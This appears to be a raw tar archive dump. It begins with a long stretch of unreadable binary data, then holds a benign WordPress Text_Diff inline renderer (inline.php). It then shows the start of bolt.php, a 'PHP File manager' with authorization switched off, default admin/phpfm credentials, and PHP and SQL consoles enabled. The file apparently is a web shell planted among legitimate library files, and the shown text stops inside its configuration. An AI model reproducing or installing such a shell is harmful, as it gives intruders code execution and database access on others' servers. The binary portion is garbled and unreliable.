Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
